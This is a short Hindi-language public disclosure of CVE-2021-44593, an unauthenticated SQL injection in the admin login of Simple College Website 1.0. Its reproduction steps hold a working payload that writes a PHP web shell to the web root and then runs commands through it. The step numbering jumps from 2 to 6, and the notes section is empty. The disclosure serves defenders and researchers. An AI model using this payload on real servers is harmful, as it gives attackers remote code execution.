CVE-2021-44593

CVE-2021-44593 का सार्वजनिक खुलासा। Simple College Website में SQL इंजेक्शन/मनमाना फ़ाइल अपलोड/रिमोट कोड निष्पादन भेद्यता।

विवरण

Simple College Website 1.0 /admin/login.php पृष्ठ के "username" पैरामीटर में एक बिना प्रमाणीकरण वाले union-आधारित SQL इंजेक्शन के प्रति संवेदनशील है, जिसका उपयोग मनमानी फ़ाइलें अपलोड करने और रिमोट कोड निष्पादन प्राप्त करने के लिए किया जा सकता है।

प्रभावित घटक

admin_class.php में login() फ़ंक्शन

पुनरुत्पादन के चरण

1. एडमिन लॉगिन पृष्ठ तक पहुँचें (आमतौर पर /admin/login.php)
2. लॉगिन फ़ॉर्म को POST पैरामीटर "username" के साथ सबमिट करें जिसमें निम्नलिखित UNION-आधारित SQL इंजेक्शन हो:

' union select null, null, ("<?php system($_GET['cmd']);?>"), null, null INTO OUTFILE '/var/www/html/testing.php'; -- -

6. /testing.php?cmd=id पर नेविगेट करें

नोट्स